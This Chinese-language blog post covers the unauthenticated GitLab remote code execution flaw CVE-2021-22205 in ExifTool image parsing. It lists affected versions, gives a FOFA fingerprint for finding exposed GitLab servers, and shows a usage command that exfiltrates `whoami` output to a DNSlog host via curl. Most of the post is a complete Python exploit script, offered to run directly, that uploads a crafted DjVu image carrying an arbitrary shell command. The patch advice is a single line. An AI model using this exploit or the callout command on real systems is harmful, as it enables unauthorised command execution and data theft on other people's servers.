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<h1 id="0x01-漏洞介绍-amp-原理"><a href="#0x01-漏洞介绍-amp-原理" class="headerlink" title="0x01 漏洞介绍&amp;原理"></a><strong>0x01 漏洞介绍&amp;原理</strong></h1><p>GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目，是一款Ruby开发的Git项目管理平台。由于在11.9以后的GitLab中，使用了图片处理工具ExifTool，而此图片处理工具又受到了漏洞CVE-2021-22204的影响：</p>
<p>漏洞触发ExifTool功能处，ExifTool是用于从图像中移除元数据的开源工具，在解析上传图像中的元数据时，并没有完全解析某些元数据，导致攻击者上传带有恶意元数据的图片，从而导致远程命令执行。</p>
<p>攻击者可以通过一个存在未授权的接口，上传一张恶意构造的图片，进而导致该漏洞在无需进行身份验证的情况下即可进行RCE</p>
<h1 id="0x02-影响版本"><a href="#0x02-影响版本" class="headerlink" title="0x02 影响版本"></a><strong>0x02 影响版本</strong></h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Gitlab CE/EE &lt; 13.10.3</span><br><span class="line">Gitlab CE/EE &lt; 13.9.6</span><br><span class="line">Gitlab CE/EE &lt; 13.8.8</span><br></pre></td></tr></table></figure>

<h1 id="0x03-漏洞检测"><a href="#0x03-漏洞检测" class="headerlink" title="0x03 漏洞检测"></a><strong>0x03 漏洞检测</strong></h1><p>主页</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/users/sign_in</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/1c4475180f04e1597616e06f7ab8244f.png" alt="image-20211031101923873"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FOFA指纹：title=&quot;GitLab&quot;</span><br></pre></td></tr></table></figure>

<p>EXP代码贴最后,直接运行</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c &quot;curl \`whoami\`.7kwtfs.dnslog.cn&quot;</span><br></pre></td></tr></table></figure>

<p>我用的是DNSlog探测的，纯内网环境也可以反弹到自己的http服务测试</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/687865b7e5d573dceb642e6c69de33f3.png" alt="image-20211031134306084"></p>
<h1 id="0x04-修复建议"><a href="#0x04-修复建议" class="headerlink" title="0x04 修复建议"></a><strong>0x04 修复建议</strong></h1><ul>
<li>升级至最新版本</li>
<li>官方链接：</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://about.gitlab.com/update/</span><br></pre></td></tr></table></figure>

<h1 id="EXP代码"><a href="#EXP代码" class="headerlink" title="EXP代码"></a>EXP代码</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"></span><br><span class="line">requests.packages.urllib3.disable_warnings()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        GitLab &lt; 13.10.3 RCE</span></span><br><span class="line"><span class="string">        python3 CVE-2021-22205.py -u target_url -c command </span></span><br><span class="line"><span class="string">        &#x27;&#x27;&#x27;</span>)    </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>(<span class="params">target_url,command</span>):</span><br><span class="line">    session = requests.Session()</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        req_token = session.get(target_url.strip(<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/users/sign_in&quot;</span>, verify=<span class="literal">False</span>)</span><br><span class="line">        soup = BeautifulSoup(req_token.text, features=<span class="string">&quot;lxml&quot;</span>)</span><br><span class="line">        token = soup.findAll(<span class="string">&#x27;meta&#x27;</span>)[<span class="number">16</span>].get(<span class="string">&quot;content&quot;</span>)</span><br><span class="line">        data = <span class="string">&quot;\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\&quot;file\&quot;; filename=\&quot;test.jpg\&quot;\r\nContent-Type: image/jpeg\r\n\r\nAT&amp;TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\&quot;?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \&quot;\\\n\&quot; . qx&#123;&quot;</span>+  command +<span class="string">&quot;&#125; . \\\n\&quot; b \&quot;) )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5&quot;</span>,</span><br><span class="line">            <span class="string">&quot;X-CSRF-Token&quot;</span>: <span class="string">f&quot;<span class="subst">&#123;token&#125;</span>&quot;</span>, <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>&#125;</span><br><span class="line">        flag = <span class="string">&#x27;Failed to process image&#x27;</span></span><br><span class="line">        req_exp = session.post(target_url.strip(<span class="string">&quot;/&quot;</span>) + <span class="string">&quot;/uploads/user&quot;</span>, data=data, headers=headers, verify=<span class="literal">False</span>)</span><br><span class="line">        <span class="keyword">if</span> flag <span class="keyword">in</span> req_exp.text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;&#123;&#125; 存在漏洞,CMD执行成功&quot;</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;&#123;&#125; 不存在漏洞&quot;</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">format_url</span>(<span class="params">url</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">&quot;http&quot;</span>:</span><br><span class="line">            url = <span class="string">&quot;https://&quot;</span> + url</span><br><span class="line">            url = url.strip()</span><br><span class="line">        <span class="keyword">return</span> url</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;URL.error&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(url))    </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>():</span><br><span class="line">    title()</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(<span class="string">&#x27;-u&#x27;</span>, <span class="string">&#x27;--url&#x27;</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, <span class="built_in">help</span>=<span class="string">&#x27;url&#x27;</span>)</span><br><span class="line">    parser.add_argument(<span class="string">&#x27;-c&#x27;</span>, <span class="string">&#x27;--command&#x27;</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, <span class="built_in">help</span>=<span class="string">&#x27;cmd&#x27;</span>)</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line">    target_url = args.url</span><br><span class="line">    command = args.command</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> target_url != <span class="literal">None</span> <span class="keyword">and</span> command != <span class="literal">None</span>:</span><br><span class="line">        exp(target_url,command)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        sys.exit(<span class="number">0</span>)   </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    run()</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2021/10/31/Gitlab%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9ECVE-2021-22205%E9%99%84exp/">https://godzeo.github.io/2021/10/31/Gitlab%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9ECVE-2021-22205%E9%99%84exp/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's 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class="toc-text">0x03 漏洞检测</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04-%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE"><span class="toc-number">4.</span> <span class="toc-text">0x04 修复建议</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#EXP%E4%BB%A3%E7%A0%81"><span class="toc-number">5.</span> <span class="toc-text">EXP代码</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time 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